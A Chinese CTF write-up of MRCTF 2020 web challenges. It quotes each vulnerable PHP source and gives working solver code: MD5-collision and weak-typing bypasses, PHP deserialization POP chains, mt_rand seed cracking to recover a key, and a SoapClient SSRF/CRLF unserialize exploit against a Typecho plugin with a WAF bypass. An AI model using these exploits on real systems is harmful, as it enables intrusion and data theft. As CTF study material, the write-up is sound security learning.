ez_bypass
I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } }Please input first
哈希碰撞,弱類型
import requests from urllib.parse import quote url='http://3b2f75e7-7fba-46c4-a68d-9eca2f54fa30.merak-ctf.site/' with open(r'C:\Users\dell\Desktop\md5碰撞\out_test_001.txt','rb') as f: data1=f.read() data1=quote(data1,'utf-8') with open(r'C:\Users\dell\Desktop\md5碰撞\out_test_000.txt','rb') as f: data2 = f.read() data2=quote(data2,'utf-8') get='?id='+data1+'&gg='+data2 data={'passwd':'1234567admin'} r = requests.post(url+get,data=data) print(r.text)
你傳你🐎呢
帶惡人
對不起,這道題我做了一個小時。我硬是看nginx,硬是傳.user.ini。
然后發現。。不對啊,目錄下有沒有php文件。不能利用啊。
CTFd平台,平台是nginx,為了快速訪問和處理請求。所以wappalyzer判斷都是nginx的。題目環境不一定是。然后傳了.htaccess就成了
當場去世
題目設置了disable_functions,但是沒有open_basedir
readfile('/flag')
PYwebsite
有點沒看懂操作,前端驗證授權碼
flag.php這個頁面的一句話,我已經把購買者的IP保存了。說明是通過IP來判斷的?我一開始以為是client_IP或者X-Forwarded-For注入之類的。
只要127.0.0.1即可
Ezpop
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
POP鏈
Show->preg_match->__toString()->Test->_get->Modifier->__invoke->append()
跟BJD那道我出的題其實都是源自一個,本來也想出這樣的,但是新生賽還是調低了難度。
exp
<?php class Show{ public $source; public $str; public function __construct(){ $this->str=new Test(); $this->str->p=new Modifier(); } } class Test{ public $p; } class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; } $a=new Show(); $a->source=new Show(); echo serialize($a);
套娃
之前沒空,出於強迫症,寫了一些題目作為草稿存着也是難受,直接全部寫完把。下面的題目都是在BUU復現。還有bjd 2nd還沒寫完。同樣的情況。難受。
$query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; }
這里運用到了php字符串解析特性bypass
payload:
b%20u%20p%20t=23333%0A
提示flag在secrettw.php
本來想測試下Clien-IP,X-Forwarded-For的,但是發現了jsfuck編碼
解碼獲得
post me Merak
post傳后獲得源碼
<?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
Client-IP可以獲得ip,data://偽協議讀入todat is a happy day 最后還需要一個解密
對應寫一個unchange函數加密
paload:
http://029d7f20-bd6e-45d7-8bfb-eb136806e4e9.node3.buuoj.cn/secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI= headers: Client-Ip:127.0.0.1
Ezaudit
想這種用框架搭的,前端很好看的CTF題目,一般最好掃一下,很多都是源碼泄露,代碼審計類型,看題目也像。
都是429,那就不是源碼泄露了。
但是頁面上什么東西都點不動啊,手癢試了下www.zip,返回了源碼
只有一個index.php
<?php header('Content-type:text/html; charset=utf-8'); error_reporting(0); if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $Private_key = $_POST['Private_key']; if (($username == '') || ($password == '') ||($Private_key == '')) { // 若為空,視為未填寫,提示錯誤,並3秒后返回登錄界面 header('refresh:2; url=login.html'); echo "用戶名、密碼、密鑰不能為空啦,crispr會讓你在2秒后跳轉到登錄界面的!"; exit; } else if($Private_key != '*************' ) { header('refresh:2; url=login.html'); echo "假密鑰,咋會讓你登錄?crispr會讓你在2秒后跳轉到登錄界面的!"; exit; } else{ if($Private_key === '************'){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; $link=mysql_connect("localhost","root","root"); mysql_select_db("test",$link); $result = mysql_query($getuser); while($row=mysql_fetch_assoc($result)){ echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>"; } } } } // genarate public_key function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } //genarate private_key function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } $Public_key = public_key(); //$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
看到兩個function鍾的mt_rand就應該明白是偽隨機數漏洞,具體不贅述,百度即可。
exp1參考題目地址:https://blog.csdn.net/yuaneuro/article/details/103994272
exp1
#變換成php_mt_seed可以識別的數據 str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' str2 = 'KVQP0LdJKRaV3n9D' str3 = str1[::-1] res = '' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' ' break print(res)
獲得種子
但是我用exp寫的時候發現BNC8lyED7y8P並不對
這里看了下WP,發現是第二次,有兩次生成的,private_key是第二次。
<?php mt_srand(1775196155); function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } /** * 先生成一次公鑰在生成一次密鑰 XuNhoueCDCGc */ function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } echo public_key(); echo "\n"; echo private_key(); ?>
獲得private_key => 3NxjlpuxSI5y
發現還是錯的。嗷。。我這個環境變量是7.2版本的。服務器是5.6的。
獲得private_key=>XuNhoueCDCGc (PS:要細心,別心急)
獲得flag
Ezpop_Revenge
Typecho的博客模板,手動www.zip獲得源碼。(一般框架類的經常都是www.zip源代碼審計)
審計代碼,沒發現東西,還是太noob了。去看了下WP
#https://github.com/BuptMerak/mrctf2020-writeups/tree/master/official
#https://blog.csdn.net/a3320315/article/details/105215741/
發現點在/usr/helloworld/plugin.php中
<?php if (!defined('__TYPECHO_ROOT_DIR__')) exit; /** * Hello World * * @package HelloWorld * @author qining * @version 1.0.0 * @link http://typecho.org */ class HelloWorld_DB{ private $flag="MRCTF{this_is_a_fake_flag}"; private $coincidence; function __wakeup(){ $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']); } } class HelloWorld_Plugin implements Typecho_Plugin_Interface { /** * 激活插件方法,如果激活失敗,直接拋出異常 * * @access public * @return void * @throws Typecho_Plugin_Exception */ public static function activate() { Typecho_Plugin::factory('admin/menu.php')->navBar = array('HelloWorld_Plugin', 'render'); } /** * 禁用插件方法,如果禁用失敗,直接拋出異常 * * @static * @access public * @return void * @throws Typecho_Plugin_Exception */ public static function deactivate(){} /** * 獲取插件配置面板 * * @access public * @param Typecho_Widget_Helper_Form $form 配置面板 * @return void */ public static function config(Typecho_Widget_Helper_Form $form) { /** 分類名稱 */ $name = new Typecho_Widget_Helper_Form_Element_Text('word', NULL, 'Hello World', _t('說點什么')); $form->addInput($name); } /** * 個人用戶的配置面板 * * @access public * @param Typecho_Widget_Helper_Form $form * @return void */ public static function personalConfig(Typecho_Widget_Helper_Form $form){} /** * 插件實現方法 * * @access public * @return void */ public static function render() { echo '<span class="message success">' . htmlspecialchars(Typecho_Widget::widget('Widget_Options')->plugin('HelloWorld')->word) . '</span>'; } public function execute() { //Do nothing echo '<!DOCTYPE HTML> <html class="no-js"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="renderer" content="webkit"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <title>頁面沒找到 - Hello World</title> <!-- 使用url函數轉換相關路徑 --> <link rel="stylesheet" href="http://127.0.0.1/usr/themes/default/normalize.css"> <link rel="stylesheet" href="http://127.0.0.1/usr/themes/default/grid.css"> <link rel="stylesheet" href="http://127.0.0.1/usr/themes/default/style.css"> <!--[if lt IE 9]> <script src="//cdnjscn.b0.upaiyun.com/libs/html5shiv/r29/html5.min.js"></script> <script src="//cdnjscn.b0.upaiyun.com/libs/respond.js/1.3.0/respond.min.js"></script> <![endif]--> <!-- 通過自有函數輸出HTML頭部信息 --> <meta name="description" content="Just So So ..." /> <meta name="keywords" content="typecho,php,blog" /> <meta name="generator" content="Typecho 1.2/18.10.23" /> <meta name="template" content="default" /> <link rel="alternate" type="application/rss+xml" title="頁面沒找到 » Hello World » RSS 2.0" href="http://127.0.0.1/index.php/feed/" /> <link rel="alternate" type="application/rdf+xml" title="頁面沒找到 » Hello World » RSS 1.0" href="http://127.0.0.1/index.php/feed/rss/" /> <link rel="alternate" type="application/atom+xml" title="頁面沒找到 » Hello World » ATOM 1.0" href="http://127.0.0.1/index.php/feed/atom/" /> </head> <body> <!--[if lt IE 8]> <div class="browsehappy" role="dialog">當前網頁 <strong>不支持</strong> 你正在使用的瀏覽器. 為了正常的訪問, 請 <a href="http://browsehappy.com/">升級你的瀏覽器</a>.</div> <![endif]--> <header id="header" class="clearfix"> <div class="container"> <div class="row"> <div class="site-name col-mb-12 col-9"> <a id="logo" href="http://127.0.0.1/">Hello World</a> <p class="description">Just So So ...</p> </div> <div class="site-search col-3 kit-hidden-tb"> <form id="search" method="post" action="http://127.0.0.1/" role="search"> <label for="s" class="sr-only">搜索關鍵字</label> <input type="text" id="s" name="s" class="text" placeholder="輸入關鍵字搜索" /> <button type="submit" class="submit">搜索</button> </form> </div> <div class="col-mb-12"> <nav id="nav-menu" class="clearfix" role="navigation"> <a href="http://127.0.0.1/">首頁</a> <a href="http://127.0.0.1/index.php/start-page.html" title="關於">關於</a> </nav> </div> </div><!-- end .row --> </div> </header><!-- end #header --> <div id="body"> <div class="container"> <div class="row"> <div class="col-mb-12 col-tb-8 col-tb-offset-2"> <div class="error-page"> <h2 class="post-title">404 - 頁面沒找到</h2> <p>你想查看的頁面已被轉移或刪除了, 要不要搜索看看: </p> <form method="post"> <p><input type="text" name="s" class="text" autofocus /></p> <p><button type="submit" class="submit">搜索</button></p> </form> </div> </div><!-- end #content--> </div><!-- end .row --> </div> </div><!-- end #body --> <footer id="footer" role="contentinfo"> © 2020 <a href="http://127.0.0.1/">Hello World</a>. 由 <a href="http://www.typecho.org">Typecho</a> 強力驅動. </footer><!-- end #footer --> </body>'; } public function action(){ if(!isset($_SESSION)) session_start(); if(isset($_REQUEST['admin'])) var_dump($_SESSION); if (isset($_POST['C0incid3nc3'])) { if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0) unserialize(base64_decode($_POST['C0incid3nc3'])); else { echo "Not that easy."; } } } }
flag.php
<?php if(!isset($_SESSION)) session_start(); if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){ $_SESSION['flag']= "MRCTF{******}"; }else echo "我扌your problem?\nonly localhost can get flag!"; ?>
flag.php中的Remote_ADDR很好的說明了需要用ssrf去觸發
在頁面中還實例化了Typecho_Db的類,跟蹤查看
發現有字符串拼接,並且有提示__toString()魔術方法,adapterName是我們可控的,可以賦值為類名,調用__toString()
現在全局查找下__tostring ps:我這里根據的思路是query.php,文章=>https://blog.csdn.net/a3320315/article/details/105215741/
/var/Typecho/Db/Query.php
這里有個switch case的結果,可以發現_sqlPreBuild是我們可以控制的
並且Typecho_Db::SELECT是已知的為'SELECT'。_adapter也是我們可控的
這里調用了parseSelect方法,如果是ssrf的話,我們可以通過一些原生類來觸發反序列化。
這里很好的選擇就是soapclient
soapclient類有一個__call的魔術方法,當調用不存在的或者不可調用的方法時觸發。
具體的soapclient的利用詳細可以看l3m0n師傅寫的=>https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
這里直接用了HyyMbb師傅的exp
<?php class Typecho_Db_Query { private $_sqlPreBuild; private $_adapter; public function __construct() { $target = 'http://127.0.0.1/flag.php'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=504k75447innl1uvvsclu6jeu3' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'HyyMbb^^'.join('^^',$headers),'uri' => "aaab")); $this->_sqlPreBuild =array("action"=>"SELECT"); $this->_adapter = $b; } } class HelloWorld_DB { private $coincidence; public function __construct() { $this->coincidence = ["hello" => new Typecho_Db_Query()]; } } $a = new HelloWorld_DB(); $aaa = serialize($a);
這里涉及到了CRLF,可以通過\r\n來滿足http請求規范,內容中注入惡意數據
文章見=>https://www.jianshu.com/p/2f2e311e797b
運行exp提示沒有soapclient()這個類,這里我們需要在php.ini開啟這個擴展,去掉分號
這里因為過濾了百分號,所以會被waf擋下來
這里有個知識點,學習自=>W4nder師傅https://www.cnblogs.com/W4nder/p/12596114.html#%E8%B8%A9%E5%9D%91
在 PHP5 最新的 CVS 中,
新的序列化方式叫做 escaped binary string 方式,這是相對與普通那種 non-escaped binary string 方式來說的:
string 型數據(字符串)新的序列化格式為:
S:"<length>":"<value>";
其中 <length> 是源字符串的長度,而非 <value> 的長度。<length> 是非負整數,數字前可以帶有正號(+)。<value> 為經過轉義之后的字符串。
它的轉義編碼很簡單,對於 ASCII 碼小於 128 的字符(但不包括 \),按照單個字節寫入(與 s 標識的相同),對於 128~255 的字符和 \ 字符,則將其 ASCII 碼值轉化為 16 進制編碼的字符串,以 \ 作為開頭,后面兩個字節分別是這個字符的 16 進制編碼,順序按照由高位到低位排列,也就是第 8-5 位所對應的16進制數字字符(abcdef 這幾個字母是小寫)作為第一個字節,第 4-1 位作為第二個字節。依次編碼下來,得到的就是 <value> 的內容了。
因此有兩種寫法:
普通的序列化小s對應的就是普通的字符串,如s:3:"%00a%00";
而序列化的大S則對應的是\加上16進制,如S:2:"\00a\00";
所以上面生成的payload還需要將%00替換成\00,string類型的s替換成S,並且base64_encode后POST上去,admin隨意輸入,在page_admin頁面會自動調用action()方法
這里再放一下Ying師傅的操作步驟完整exp
<?php class HelloWorld_DB{ private $coincidence; public function __construct(){ $this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']); } } class Typecho_Db { public function __construct($adapterName, $prefix = 'typecho_') { $adapterName = 'Typecho_Db_Adapter_' . $adapterName; } } class Typecho_Db_Query { private $_sqlPreBuild; private $_adapter; public function __construct(){ $this->_sqlPreBuild['action']='SELECT'; $target = "http://127.0.0.1/flag.php"; $headers = array( 'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6', ); $this->_adapter=new SoapClient( null, array('location' => $target, 'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello')); } } function decorate($str) { $arr = explode(':', $str); $newstr = ''; for ($i = 0; $i < count($arr); $i++) { if (preg_match('/00/', $arr[$i])) { $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]); } } $i = 0; for (; $i < count($arr) - 1; $i++) { $newstr .= $arr[$i]; $newstr .= ":"; } $newstr .= $arr[$i]; return $newstr; } $a=serialize(new HelloWorld_DB()); $a = urlencode($a); $a = preg_replace('/%00/', '%5c%30%30', $a); $a = decorate(urldecode($a)); echo base64_encode($a);
其實不需要%和s的問題,w4nder博客里提到,base64解碼后,其實也是亂碼,並不會檢測到%。